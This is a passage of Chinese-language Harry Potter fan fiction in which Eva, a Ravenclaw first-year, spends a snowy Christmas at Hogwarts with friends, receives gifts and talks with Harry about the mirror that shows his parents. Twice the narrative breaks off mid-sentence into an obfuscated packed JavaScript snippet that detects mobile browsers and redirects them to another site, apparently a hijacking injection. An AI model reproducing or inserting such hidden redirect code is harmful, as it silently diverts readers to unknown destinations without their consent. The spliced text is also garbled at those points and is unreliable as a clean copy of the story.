今天她学到了重要的一课:帮忙是对的,但方式很重要。有时候,寻求帮助比独自行动更需要勇气。 还有,在别人的地方,要知道什么该问,什么不该问。 她躺上床,闭上眼睛。 明天又是新的一天。 圣诞假期快到了,城堡会慢慢安静下来。 但她不会孤单。 有朋友,有书,有知识。 还有时间,慢慢想清楚接下来的路。 雪还在下,轻轻落在窗玻璃上,像温柔的叹息。 霍格沃茨的第一个圣诞节,就要来了。 11. 深冬的围炉 雪下得更密了,密密匝匝的,像谁在天上撕碎了大片大片的棉絮。从拉文克劳塔楼的窗户望出去,城堡的轮廓都模糊了,只剩下一团团暗沉沉的影子,点缀着零零星星的、从窗户透出来的黄光。 放假前的最后两天,城堡里一半的人已经走了。走廊空荡荡的,脚步声踩在石地上有回音,嗡嗡的,传得老远。Eva早上醒来时,宿舍里只剩下她和曼蒂。丽莎的床空了,被子叠得整整齐齐。帕德玛一周前就提前回家了——她妹妹感冒刚好,妈妈写信让她早点回去帮忙——临走前她把那包印度奶糖塞进了Eva和曼蒂的书包,彩纸窸窣作响。 “圣诞节快乐,”帕德玛当时抱了抱她们,“记得给我写信。” 现在宿舍里安静多了。素雪好像也感觉到了,这几天特别黏人,总爱从笼子里飞出来,落在Eva肩上,用毛茸茸的脑袋蹭她的脸颊。它的羽毛白得像新雪,在塔楼昏暗的光线里泛着柔柔的光。 早餐时,礼堂的长桌短了一大截。拉文克劳这边只剩下七八个人,稀稀拉拉地坐着。格兰芬多那边人稍微多点,哈利、罗恩和赫敏坐在一起,旁边还有珀西·韦斯莱,正严肃地检查一份长长的羊皮纸清单。 斯莱特林长桌几乎空了,但马尔福还在。他独自坐在长桌中间,慢条斯理地切着一块煎蛋,动作很慢,很精细。克拉布和高尔不在旁边——Eva听说他们回家了。马尔福偶尔抬起头,灰眼睛扫过礼堂,目光在Eva身上停了一下,嘴角勾起一个轻微的、几乎难以察觉的弧度,像是在玩味什么,然后才慢悠悠地移开视线。 Eva低头喝她的燕麦粥。粥熬得稠稠的,加了蜂蜜和葡萄干,热乎乎的一口下去,从喉咙暖到胃里。她听见罗恩在抱怨: “……珀西说圣诞节期间要‘保持学院形象’。什么叫学院形象?不就是不让我们在走廊里打雪仗吗?要是弗雷德和乔治在就好了,他们肯定有办法……” “他们留校了,”哈利说,声音听起来轻松了些,“只是不知道窝在哪里捣鼓新发明呢。昨天我在猫头鹰棚屋碰到乔治,他说要给家里寄一包‘会爆炸的圣诞爆竹’,被费尔奇没收了一半。” 赫敏从一本厚书里抬起头:“《霍格沃茨校规》第一百二十七条明确规定,圣诞节期间禁止燃放未经许可的魔法爆竹。弗雷德和乔治这是……” “自找麻烦,”罗恩接话,但语气里带着点幸灾乐祸,“珀西肯定会唠叨死他们。” Eva慢慢吃着。她注意到哈利今天看起来好多了,眼下的阴影淡了些,吃饭时也没再捂额头。也许邓布利多教授让庞弗雷夫人配的药剂起作用了。 上午没有课。弗立维教授昨天就宣布,放假前最后两天是“自由复习时间”,图书馆和公共休息室全天开放。 Eva和曼蒂决定去图书馆。她们抱着书走下旋转楼梯时,碰到秋·张从楼下上来,怀里抱着一大卷深蓝色的毛线。 “嘿!”秋的脸冻得红扑扑的,笑容却很灿烂,“我刚从猫头鹰棚屋回来,爸妈寄来了新的毛线。看——银灰色的,织围巾边正合适。”她展开毛线给她们看,线很软,泛着柔和的银光。 “真好看。”曼蒂摸了摸。 “下午一起织?”秋问,“公共休息室壁炉边最暖和。我还可以教你们基础针法。” “好,”Eva说,“但我要先去图书馆还几本书。” “没问题,”秋眨眨眼,“我在壁炉边等你们。” 图书馆今天人很少。平斯夫人坐在前台,戴着一副金丝边眼镜,正在修补一本旧书的书脊。看见Eva和曼蒂进来,她抬了抬眼皮:“还书放在推车上,自己放回原位时记得核对分类编号。” Eva点点头,把要还的几本书——一本《古代魔法防护体系考》,一本《魔力的本质与流向》——轻轻放在墙边那个专门用来归还书籍的橡木推车上。推车上已经有几本其他学生还的书了。然后她走向书架区,按照平斯夫人之前教过的方法,先找到对应分类的区域,再根据书脊上的标签和编号,仔细地把书插回正确的位置。 做完这些,她才去挑选新的书——《基础魔药材料处理指南(增补版)》《常见魔法植物图鉴》,还有一本薄薄的《东方药用植物简编》,作者是个不认识的英国巫师,但里面提到了一些中国草药的拉丁文名称,她打算对照着看看。 曼蒂在找天文学的参考书。“辛尼斯塔教授说寒假后要考冬季星座,”她小声说,“我得把星图再背一遍。” 她们在窗边坐下。外面的雪小了些,但天还是阴沉沉的。图书馆里很安静,只有书页翻动的沙沙声,还有远处平斯夫人修补书本时胶水罐打开的轻微“噗”声。 大概看了半小时,Eva听见一阵由远及近的、熟悉的快速脚步声和压低的话语声。她抬起头,看见赫敏抱着一摞书走在前面,后面跟着一脸不情愿的罗恩,哈利则走在最后,表情介于劝解和无奈之间。 “……我就说没必要,”罗恩还在嘀咕,“放假了还要看书……” “麦格教授说了,变形术论文寒假后第一周交,”赫敏转过头,语气斩钉截铁,“现在不写,你难道打算最后一天熬夜?那样写出来的东西,麦格教授能给你及格分吗?” 他们在Eva和曼蒂旁边的桌子坐下。赫敏立刻摊开书和羊皮纸,开始整理《魔法史》的复习提纲,羽毛笔在纸上划出细密而均匀的沙沙声,字迹工整得像印刷出来的。罗恩对着空白的羊皮纸唉声叹气,哈利从书包里拿出《初级变形术原理》,开始翻找资料。 图书馆里渐渐有了些生气。虽然人不多,但翻书声、写字声、偶尔压低的交谈声,让这个寒冷的上午变得温暖了些。 Eva继续看她的《东方药用植物简编》。书里提到“人参”时,说西方巫师通常用曼德拉草根代替,因为“功效相似且更容易获取”。她想起爷爷的药柜里总备着上好的长白山参,切片薄如蝉翼,泡水喝能补气。曼德拉草的叫声能让人晕倒,人参却不会——这“功效相似”到底相似在哪里? 她正想着,赫敏那边传来一声轻响——她合上了一本厚书,揉了揉眼睛。 “你看完了?”哈利问。 “《魔法史》的第三章到第五章,”赫敏说,但眼睛看向的是罗恩,“宾斯教授肯定要考妖精叛乱的时间线和主要原因。罗恩,你笔记做了吗?” 罗恩含糊地应了一声。赫敏叹了口气,又从书包里掏出一卷羊皮纸递给他:“这是我整理的要点,你先抄……不对,是参考一下。” Eva安静地看着这一幕,嘴角微微弯了弯。她看向赫敏刚才看的书的封面,是《现代魔法史》。 中午,他们一起去礼堂吃午饭。长桌上的人更少了,家养小精灵们显然调整了分量,食物还是那么多,但盘子间的空隙大了许多。 下午,Eva和曼蒂如约回到公共休息室。壁炉里的火烧得正旺,木柴噼啪作响,暖黄色的光映在深蓝色的地毯上。秋·张已经坐在壁炉边最舒服的扶手椅里,腿上摊着那条快织完的围巾,银灰色的新毛线团放在旁边的小筐里。 “来啦!”秋笑着招手,“坐这儿,暖和。” Eva和曼蒂在她旁边的地毯上坐下。地毯厚实柔软,带着被炉火烘烤后的暖意。秋从筐里拿出两根织针和一团深蓝色的毛线,递给曼蒂。 “我先教你起针,”秋的声音很耐心,“看,这样绕一圈,然后从下面穿过去……” 曼蒂学得很认真,手指有些笨拙地跟着秋的动作。Eva坐在旁边,看着炉火发呆。火焰一跳一跳的,像有生命的小动物。她想起江南老宅冬天的炭盆,也是这样的暖,这样的噼啪作响。只是炭火的气味不同——这里是松木和栎木的清香,老宅是竹炭淡淡的焦味。 “Eva,你要不要试试?”秋问。 Eva摇摇头:“我看你们织就好。”她拿出爷爷的绢帛笔记,翻开到常看的那一页,手指无意识地抚过那些汉字。 秋瞥了一眼笔记,没说什么,继续教曼蒂。织针碰撞发出细微的咔嚓声,混着炉火的噼啪,像一首安眠曲。 公共休息室里还有几个留校的学生。罗伯特·希利亚德坐在远处的书桌旁写论文,眉头紧锁。两个五年级女生在玩巫师棋,棋子们吵吵嚷嚷的,但声音压得很低。一个七年级男生靠在窗边看书,偶尔抬头看看窗外的雪。 一切都平静得不像真的。 傍晚时分,Eva起身去猫头鹰棚屋给家里寄信。她写了两封,一封给爸爸妈妈,一封给爷爷。给爸爸妈妈的信很简单:学校里一切都好,圣诞留校,和同学一起过节,不用担心。给爷爷的信稍长些,她提到了魔咒课上的进步,提到了对魔力控制的思考,还提到邓布利多教授说的“真正的保护来自清醒的头脑”。 她没有提四楼禁区的事,也没有提扣分。有些事,不适合写在信里。 素雪已经站在栖木上等着了,琥珀色的眼睛看着她。Eva摸了摸它柔软的羽毛。 “这封送到伦敦大使馆,”她把给爸爸妈妈的信系在素雪左腿上,又拿出那封更厚的、用普通信封装好的给爷爷的信。她记得爸爸说过,跨国信件最好通过猫头鹰邮局的“飞路速递”中转,那样更快也更安全。她仔细地将这封信系在素雪右腿上,轻声叮嘱:“到伦敦后,投进那个红色的大邮箱,记得吗?我们上次去过。” 素雪轻轻叫了一声,用喙碰了碰她的手指,表示明白。它展开翅膀,悄无声息地滑入昏暗的天空,很快消失在纷飞的雪花中。 Eva在棚屋里站了一会儿,看着其他猫头鹰进进出出。有只棕色的谷仓猫头鹰歪着头看她,发出“咕咕”的叫声。她认出那是帕德玛的猫头鹰维克拉姆,看来它也留校了。 “你也留校啊。”她轻声说。 维克拉姆叫了一声,像是在回应。 回去的路上,天已经快黑了。城堡里的灯一盏盏亮起来,从窗户透出的光在雪地上投下一块块暖黄色的斑点。Eva经过三楼走廊时,听见一间空教室里传出噼里啪啦的响声,还有双胞胎兄弟压低的、兴奋的笑声。 “……这次肯定能成!” “你把比利威格螫针磨得太细了,乔治……” “是你搅拌的方向反了!” Eva快步走过。双胞胎在搞什么发明,最好别掺和。 晚餐时,礼堂装饰得更隆重了。天花板上挂的冬青和槲寄生花环多了金色的丝带,那些小仙子洒下的粉末变成了圣诞红和松绿的颜色。长桌上摆满了节日食物:烤火鸡、蜜汁火腿、蔓越莓酱、约克郡布丁,还有堆成小山的圣诞布丁,每个上面都插着一小枝冬青。 邓布利多教授站起来,银白色的长胡子在烛光下闪闪发亮。 “圣诞快乐,各位留校的同学和教授们,”他的声音温和而清晰,“愿这个夜晚充满温暖、美食和美好的陪伴。让我们举杯——” 所有人都举起杯子,里面是冒着气泡的南瓜汁。 “——为友谊,为知识,为霍格沃茨。” “为霍格沃茨。”大家齐声说,杯子碰撞发出清脆的叮当声。 Eva小口喝着南瓜汁,甜丝丝的,带着肉桂的香气。她看向教师席——斯内普教授坐在那里,面前只摆着一杯清水,表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980627|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是一贯的阴沉。奇洛教授缩在角落,头巾裹得严严实实,正小口小口地吃着一块布丁。麦格教授在和弗立维教授说话,脸上带着难得的、轻松的笑容。 格兰芬多长桌那边传来笑声。弗雷德和乔治不知从哪儿冒了出来(看来珀西的“纪律会议”没能关住他们),正试图把一顶会唱歌的圣诞帽扣在珀西头上。珀西躲闪着,脸都红了。 “成何体统!”他抗议,但语气里没有真正的怒气。 哈利、罗恩和赫敏也在笑。哈利笑的时候,那道疤痕在烛光下几乎看不见了,绿眼睛里闪着真正的快乐。 Eva低下头,切了一小块火鸡肉。肉烤得恰到好处,外皮酥脆,里面嫩滑。曼蒂在旁边小声说:“这个蔓越莓酱真好,不酸。” “嗯。”Eva应着,心里那股“炁”轻轻流转,平和而安稳。 饭后,大家没有马上离开。家养小精灵们撤走了主菜盘子,又端上热巧克力和各种小点心:姜饼人、糖霜饼干、果仁蜜饼。礼堂里充满了甜腻的香气。 弗雷德和乔治开始表演“圣诞魔术”——其实是一些简单的变形咒和障眼法,但足够逗乐大家。他们把餐巾变成会跳舞的小雪人,把南瓜汁变成冒着雪花的蓝色饮料,还让一碟糖霜饼干排着队跳进了罗恩的嘴里。 “嘿!”罗恩抗议,但嘴里塞满了饼干,话都说不清。 大家都笑了。连斯内普教授的嘴角都似乎抽动了一下,虽然那可能只是Eva的错觉。 Eva慢慢喝着热巧克力。杯子很烫,她双手捧着,让温暖透过瓷杯传到手心。她看向拉文克劳长桌——秋·张正和几个二年级女生分享她织好的围巾,围巾是蓝青铜色的,边缘镶着银灰色的边,很漂亮。秋抬头时,正好对上Eva的目光,她笑了笑,指了指围巾,用口型说:“明天给你。” Eva点点头,回了一个微笑。 那天晚上,回到公共休息室时,壁炉里的火烧得更旺了。弗立维教授不知从哪儿弄来了一棵小圣诞树,放在壁炉边,树上挂着闪闪发光的银色小球和蓝色的小星星。 “一点点节日装饰,”弗立维教授尖声说,脸上带着得意的笑,“希望你们喜欢。” “太棒了,教授!”秋带头鼓掌。 大家围着圣诞树坐下。罗伯特从厨房要来了一大壶热苹果酒,酒里加了肉桂和丁香,香气扑鼻。每个人分到一小杯,Eva抿了一口,甜甜的,带着苹果的清香,酒味很淡。 “我们不能喝醉,”罗伯特严肃地说,但自己也喝了一大口,“但一点点节日饮料是允许的。” 他们聊着天,玩着游戏。秋教大家玩一种简单的巫师纸牌,规则是用魔杖让纸牌自己排序。Eva试了几次,纸牌要么纹丝不动,要么飞得到处都是。最后还是赫敏——她不知什么时候也来了拉文克劳公共休息室,和哈利、罗恩一起——用了个漂亮的悬浮咒,让纸牌排成了完美的扇形。 “你怎么来了?”曼蒂小声问赫敏。 “珀西在格兰芬多塔楼开‘纪律会议’,”赫敏做了个鬼脸,“我们溜出来了。弗雷德和乔治说拉文克劳这边有热苹果酒。” “欢迎。”秋笑着说,给三人也倒了酒。 哈利接过杯子,小心地喝了一口,然后呛到了:“咳咳……有点辣。” “那是肉桂,”罗恩说,他已经喝完了自己的那杯,“我妈妈说圣诞节的热酒都要加肉桂。” 他们围着壁炉坐成一个圈。火光在每个人脸上跳跃,把影子投在身后的书架上。Eva坐在曼蒂和秋之间,手里捧着温热的杯子,听着大家说话。 罗恩在讲他小时候的圣诞节:“……每年妈妈都会做特别的圣诞毛衣,上面织着会动的图案。我的那件总是最丑的,因为用的是弗雷德和乔治剩的毛线。” “我的那件会喷火花,”哈利说,眼睛亮亮的,“德思礼家从来不过真正的圣诞节。最多在客厅角落放棵塑料树,下面摆几件达力不想要的旧玩具。” “我们家会去滑雪,”赫敏说,“在法国阿尔卑斯山区。我爸爸喜欢速度,我妈妈总是担心我们会摔断腿。” 秋说她家每年圣诞节都会去伦敦的华人社区:“那里有圣诞集市,但也卖饺子、汤圆。我妈妈会做一桌中西合璧的圣诞大餐——烤火鸡旁边摆着白切鸡,圣诞布丁旁边是芝麻汤圆。” 大家笑起来。Eva安静地听着,偶尔被问到,就说江南的圣诞节:“……不下雪,但很冷。爷爷会写春联,贴福字。街上也有人卖圣诞装饰,但不多。” “你会想念家里吗?”曼蒂轻声问。 Eva想了想,点点头:“有一点。但这里也很好。” 炉火噼啪作响。窗外,雪还在下,但城堡里温暖而安全。 夜深了,大家陆续回寝室。Eva和曼蒂爬上旋转楼梯时,听见楼下公共休息室里,秋还在和几个二年级女生低声聊天,笑声轻轻的,像羽毛拂过。 宿舍里很冷,窗玻璃上结着厚厚的霜。Eva用魔杖点了点壁炉——这是弗立维教授昨天刚教的“火焰熊熊”简化版,只能生起一小簇火,但足够取暖。火焰燃起来,橘黄色的光驱散了寒意。 她换上睡衣,躺进被窝。素雪还没回来——跨国信件的投递比较耗时。Eva记得爸爸说过,国际猫头鹰邮件通常会在几个主要枢纽进行中转,但即便如此,一来一回也需要比平常更多的时间。 窗外的风呼啸着。Eva闭上眼睛,心里盘算着:她提前让素雪送出的那些小礼物,不知道朋友们收到了没有?……都是些小心意,希望他们喜欢。还有弗立维教授,一直很照顾她。 12. 温暖的圣诞夜 第二天早上,Eva是被礼物的重量压醒的。 不是有人叫醒她,是礼物本身——堆在床脚,像一座彩色的小山。包装纸五颜六色,扎着丝带,在晨光里闪闪发亮。她隐约记得半夜好像听到过轻轻的窸窣声,大概是家养小精灵们把猫头鹰送来的礼物摆放好了。 她坐起来,揉了揉眼睛。曼蒂也醒了,正目瞪口呆地看着自己床前同样不小的礼物堆。 “梅林啊……”曼蒂喃喃道,脸上是压不住的兴奋。 Eva小心地爬下床,光脚踩在冰冷的地板上,但心里暖融融的。她数了数——十件礼物。最多的一次。 第一件是爸爸妈妈寄来的。盒子很大,沉甸甸的。她拆开,里面是一件厚实的深蓝色羊毛外套,料子摸起来软软的,很暖和。还有一盒中国点心:绿豆糕、核桃酥、芝麻糖,整整齐齐地码在铁盒里。卡片上写着:“圣诞快乐,丽华。注意保暖。爸爸妈妈。” 第二件是爷爷的。长长的、扁扁的盒子,用蓝布包着。她打开,里面是一卷新的绢帛,比之前那本笔记用的更厚实,颜色是淡淡的米黄。还有一支新的小楷毛笔,狼毫的,笔杆是普通的竹制,但做工很精细。爷爷的信很短:“笔以勤用为养,心以静观为安。节日勿忘功课。” 第三件来自赫敏。是一本《常见魔法植物养护指南》,书不厚,但里面有很多详细的插图。扉页上用工整的字写着:“给Eva,愿你的草药课更顺利。赫敏。” 第四件是一个小包裹,拆开是满满一袋各种口味的巧克力蛙,还有一张字迹有些歪扭的卡片:“圣诞快乐!来自罗恩(和哈利,他帮我写的卡片)”。Eva忍不住笑了。 第五件是一个扁平的纸盒,里面是一套精美的霍格沃茨城堡风景明信片,背面有哈利工整的签名。 第六件是曼蒂送的。一个小巧的玻璃瓶,里面装着会发光的蓝色液体,瓶身上贴着标签:“自制星光墨水——在黑暗中会微微发亮。圣诞快乐!曼蒂。”Eva拿起瓶子摇了摇,里面的液体泛起细碎的星光,美极了。 第七件是秋·张的。正是昨天她织的那条围巾,蓝青铜色,边缘镶银灰,柔软又暖和。还有一张小卡片:“给Eva——愿这条围巾让你在塔楼高处也不觉得冷。秋。” 第八件是一个用浅紫色包装纸包着的小盒子,系着银丝带。Eva拆开,里面是一条精致的银色手链,上面挂着一个小小的、镶嵌着紫水晶的猫头鹰吊坠。卡片上是丽莎·杜平工整的字迹:“给Eva——愿这只小猫头鹰能陪伴素雪。圣诞快乐!想念你们的丽莎。” 第九件是一个扁平的、用深红色和金色纸包装的包裹,摸起来像本书。拆开后,是一本装帧精美的《印度神话中的神奇生物图解》,里面还夹着一小包混合香料茶和帕德玛·佩蒂尔的纸条:“希望这本书对神奇动物保护课有帮助!香料茶是我妈妈特意配的,暖身最好。圣诞快乐!帕德玛。” 第十件……Eva拿起时愣了一下。包装纸是深邃的宝蓝色,点缀着细小的银色星辰图案,扎着青铜色的丝带,没有卡片。她拆开,里面是一个长方形的深蓝色天鹅绒盒子。打开盒子,里面是一套精致的黄铜天平砝码,每个砝码都打磨得光亮亮的,整齐地嵌在丝绒衬里中。盒子底部刻着一行极小的字:“赠予勤勉的拉文克劳新生——智慧是最高贵的砝码。” 没有署名。但Eva心里有猜测——弗立维教授。只有他会这么细致地关注学生的学业用具,并且用这种含蓄而充满学院特质的方式鼓励。 “Eva!你看!”曼蒂兴奋地举起一件鲜黄色的毛衣,胸前织着一只憨态可掬的、正在玩毛线团的姜黄色猫咪,“我妈妈织的!还有我爸爸送的羽毛笔套装!”她又拆开另一个小包裹,“哦!赫敏送了我一本《天文观测入门》!……哈利和罗恩合送了一盒蜂蜜公爵的糖果!……丽莎送了我一对可爱的毛线袜!……帕德玛寄来了香料茶和一本关于亚洲星座传说的书!……哇!” 两人开心地分享着彼此收到的礼物,宿舍里充满了欢快的气息。 “我们得赶紧下楼了,”曼蒂看了眼时钟,“早餐要开始了!” Eva围上秋送的新围巾,柔软又温暖。她将丽莎送的紫水晶猫头鹰手链戴在手腕上,和玉佩挨着,凉凉的金属和温润的玉石触感不同。曼蒂换上了妈妈织的鲜黄色猫咪毛衣,两人匆匆收拾了一下,抱着几件小礼物,开心地跑下旋转楼梯。 礼堂变成了圣诞的海洋。长桌上堆满了额外的甜点:糖霜姜饼屋、巧克力喷泉、会自己旋转的糖果塔。天花板上的小仙子们洒下金色的粉末,落在食物上,让一切看起来都闪闪发亮。 Eva看到马尔福独自坐在斯莱特林长桌边,面前摆着两三件还未拆完的礼物,正用他那特有的、慢条斯理的方式拆着一个银绿色的包裹。克拉布和高尔不在他旁边——他们早就回家过圣诞节了。他显得和周围喧闹的气氛有些疏离。 他的目光扫过礼堂,在格兰芬多长桌那边哈利·波特和他的朋友们身上停留片刻,嘴角向下撇了撇,露出惯常的讥诮。当他的视线掠过拉文克劳长桌,落在Eva身上时,那双灰眼睛眯了一下,嘴角撇了撇,灰眼睛里闪过毫不掩饰的轻蔑,仿佛在评估一件不该出现在这里的物品。然后,他慢悠悠地移开视线,重新专注于自己面前的礼物,仿佛刚才看到的只是什么无关紧要又不甚顺眼的东西。 Eva能感觉到那道目光里的审视。那不是好奇,更像是某种评估。她想起万圣节后走廊里那些含沙射影的话,想起他对“特殊背景”身份的刻意提及。在马尔福看来,她大概就像标签贴错了地方的包裹,值得被反复检查。 她不再看他,转向自己的朋友们。哈利正在向大家展示那件银光闪闪的隐形衣,兴奋得脸都红了。“我爸爸的,”他小声说,“留给了我。”但他也高兴地展示了海格送的手工木头笛子(吹出来的声音像猫头鹰叫)、罗恩妈妈织的毛衣(上面有一头打魁地奇的狮子),以及赫敏送的一套崭新羽毛笔。他拿起Eva送的芝麻糖:“看!这是Eva送的,谢谢!” 罗恩已经拆开了核桃酥,咬了一大口:“嗯!好吃!Eva你妈妈手艺真好!” 赫敏仔细闻了闻薄荷香膏:“清凉提神,很适合熬夜看书时用。谢谢你,Eva。” 曼蒂喝了一口用帕德玛寄来的香料茶泡的热饮,满足地叹了口气:“这个味道真特别,帕德玛说喝了冬天不会脚冷。” Eva安静地吃着自己的早餐,心里被一种陌生的、暖洋洋的情绪填满了。礼物不在于贵重,而在于那份“记得你”的心意。 早餐后,Eva特意找到了正在和几个拉文克劳学生聊天的弗立维教授,送上了那支羽毛笔。 “哦!张小姐!”弗立维教授有些惊讶,接过笔仔细看了看,尖细的声音里透着高兴,“很实用的礼物,笔尖的工艺很好。谢谢你。” “谢谢您的砝码,教授,”Eva小声说,“我会努力学习的。” 弗立维教授笑了:“我知道你会的。圣诞快乐,孩子。” 下午,她和秋在公共休息室下巫师棋。秋的棋盘是便携式的,只有书本大小,但棋子很精致,都是拉文克劳蓝青铜色的。 “我爸爸教我的,”秋一边摆棋子一边说,“他说巫师棋能锻炼战术思维。” Eva从没下过巫师棋,但规则和普通象棋有点像。她的棋子们似乎对她这个新手不太满意,开局没多久就开始抱怨。 “王后,往前走啊!你在等什么?” “骑士,你刚才那步蠢透了!” 秋的棋子则安静得多,只是偶尔低声交流战术。Eva很快输了第一局,第二局撑得久了些,第三局居然差点赢。 “你学得真快,”秋惊讶地说,“我学了三个月才能下成这样。” “运气。”Eva说,但其实她在观察——观察棋子的移动规律,观察秋的布局思路。这和爷爷教的“看清楚再动”很像。 窗外,雪停了。阳光从云缝里漏出来,照在雪地上,白得晃眼。院子里,一些留校的学生堆的雪人已经完成了,戴着破旧的巫师帽,用石子做眼睛,胡萝卜当鼻子。 傍晚,Eva独自去了一趟猫头鹰棚屋。素雪已经回来了,正优雅地梳理着羽毛。Eva摸了摸它,喂了它一小条鸡肉干。然后她拿出给爷爷的回信,简单说了圣诞节的经历,提到新收到的毛笔和绢帛,也提到了对“顺其自然”的思考。信写得很短,但每个字都认真。 素雪带着信飞走后,她在棚屋里多待了一会儿。夕阳西下,天空染上了淡淡的橙红色,雪地反射着暖光,整个世界像被泡在蜂蜜里。 回到城堡时,她在门厅碰到了哈利。哈利穿着隐形衣,但露出了头,看起来有点滑稽。 “嘿,”他看见她,把隐形衣扯下来,“我在……熟悉这件衣服。” “嗯。”Eva点点头,“很适合你。” 哈利笑了,绿眼睛里闪着光:“罗恩和赫敏去图书馆了,我在城堡里转了转。你猜我看到了什么?” “什么?” “一面神奇的镜子,”哈利压低声音,但掩不住兴奋,“在四楼一个废弃的教室里。不是禁区那边,是另一头。镜子里……我能看见我的家人。” 他的声音突然低了下去,那种兴奋变成了Eva看不懂的、混合着渴望和悲伤的东西。“我爸爸妈妈……他们都在镜子里,对着我笑……就好像他们还活着。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980628|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' Eva没说话。哈利的描述——镜中活生生的父母——像一颗小石子,投进她心里的池塘,漾开一圈细密的涟漪。 她当然也想念爷爷。但她的想念,是有地址的:江南的水,老宅的信,笔尖的墨香。她的想念有归处,有回响。 可哈利没有。 那道伤疤之下,是连想念都无处安放的虚空。镜子里的影像,或许是他唯一能抓住的、关于“家”的轮廓,哪怕只是光的幻影。 Eva的心微微沉了一下。她看着哈利眼中那抹混合着渴望与悲伤的光,忽然感到一阵莫名的不安。这不像是普通的魔法物件。 “它给你看的,是你最想见到的,对吗?”Eva的声音很轻,几乎要被壁炉的噼啪声盖过。她没有看哈利,目光落在自己交叠的手指上,好像这样能让接下来的话不那么像一种冒犯。 “我……没法想象那是什么感觉。”她抬起头,黑色的眼睛里映出跳动的炉火,也映出哈利脸上未散的、混合着渴望与脆弱的神情,“但如果有一面镜子,能让我看到再也见不到的人,而我明知道那不是真的……” 她顿了顿,寻找着合适的词。 “我可能会每天都想去。因为哪怕只是影子,也……比什么都没有要好。”她说完这句话,感到一种近乎残忍的坦诚。她把自己放到了那个假设里,才隐约触摸到哈利此刻可能面临的拉扯——理智知道是幻影,情感却无法抗拒。 “所以,哈利,”她的声音更轻了,却异常清晰,“正因为它给你的,是你心里最缺的那一块,你才更要……给自己留一条回来的路。” 她顿了顿,想起爷爷磨墨时说的话。那话原本是关于写字的,此刻却有了别的意味。 “我爷爷说,墨磨得太浓,字就化不开;心思陷得太深,路就看不见了。”她看向哈利,眼神里没有评判,只有一种安静的担忧,“那镜子……它是不是有点像一面特别浓的墨?把你最想看的,一下子全都化在你眼前了。可真的生活,哈利,真的路,不是化开的墨迹。它是一笔一笔,有时候很淡,有时候会写错,但……那是你自己在写。” 她说完,有点不确定自己是不是说清楚了,或者是不是说得太多。壁炉里的火噼啪响了一声。 “我不是说你不要去看。”最后她补充道,语气软了下来,“只是……别忘了城堡里还有真的楼梯要爬,有真的魁地奇要训练,有真的朋友在等你回来。包括,”她轻轻指了指他手里的隐形衣,“穿着这个去探险的时候。” 哈利怔怔地看着她。炉火在他镜片上跳动,让他的表情有些模糊。他张了张嘴,好像想反驳,或者解释,但最终什么也没说出来。只是握着隐形衣的手指,无意识地收紧了些。 Eva的话和他脑子里的某个声音隐隐重合了——那个每次离开镜子时,心底泛起的一丝空洞和隐约的不安。他一直不愿意细想那是什么,现在却被Eva用“墨”和“路”这样陌生的比喻,轻轻地挑开了一角。 “我……”他终于发出声音,有点干涩,“我没想那么多。我只是……觉得能看到他们,真好。” “嗯。”Eva点点头,没有再多说。她知道话说到这里,刚刚好。剩下的,需要哈利自己去想,去感觉。 两人之间安静下来,只有炉火持续的低语。这份安静并不尴尬,反而像一片刚刚被细心梳理过的土壤,有些松动,有些新的东西可能正在下面酝酿。 过了好一会儿,哈利把隐形衣仔细叠好,塞进怀里。他站起来,动作比刚才慢了一些,好像脑子里还在转着什么。 “谢谢。”他说,声音不大,但很认真。绿眼睛看着Eva,“我……会记得的。” Eva也站起来,围巾的流苏轻轻晃动。“晚安,哈利。” “晚安,Eva。” 他们分开了。Eva回塔楼的路上,心里那股“炁”轻轻动了一下,像在提醒什么。 但她没多想。只是加快脚步,想在晚餐前把变形术论文的初稿写完。 夜晚,公共休息室里,弗立维教授带来了一台老式的魔法留声机,放起了轻柔的圣诞音乐。音乐声像温暖的水,流淌在房间的每个角落。 Eva坐在壁炉边,腿上摊着羊皮纸,但没在写。她在听音乐,在看炉火,在感受这个平静的、温暖的圣诞夜。 窗外,霍格沃茨的灯火在雪夜里安静地亮着。 塔楼高处,风还在吹。 但屋里很暖。 很安全。 她摸着腕上的玉佩,又看了看那套精致的黄铜砝码。 爷爷说顺其自然,那便从明天开始,用它们一步步练习称量吧。 学习、成长,也该是如此,不急不躁,顺其自然。 13. 镜子边缘的冬天 圣诞假期的最后几天,时间好像被冻住了,过得特别慢。每天早上,Eva醒来时都能看见窗玻璃上结着新的霜花,形状每天都不同——今天像羽毛,明天像树叶。素雪喜欢用喙去啄那些花纹,嗒嗒嗒的,在安静的早晨格外清脆。 城堡里还是那么少的人。Eva渐渐熟悉了每个留校学生的脚步声:罗伯特的脚步又快又稳,秋的脚步声很轻,赫敏走路时总带着一种着急的、要去什么地方的节奏。她自己呢?她试过听——轻轻的,一步一步,不慌不忙。 她没去交论文。麦格教授说过假期后第一周交,她就等假期结束。反正写完了,卷好了,用蓝丝带扎着放在书桌上,每天看一眼,心里踏实。 更多的时间,她坐在公共休息室的窗边,膝盖上摊着爷爷的笔记,但眼睛看着窗外。雪有时下,有时停。停的时候,阳光照在雪地上,白得晃眼,她得眯起眼睛。下的时候,雪花密密地飘,把远处禁林的轮廓都模糊了。 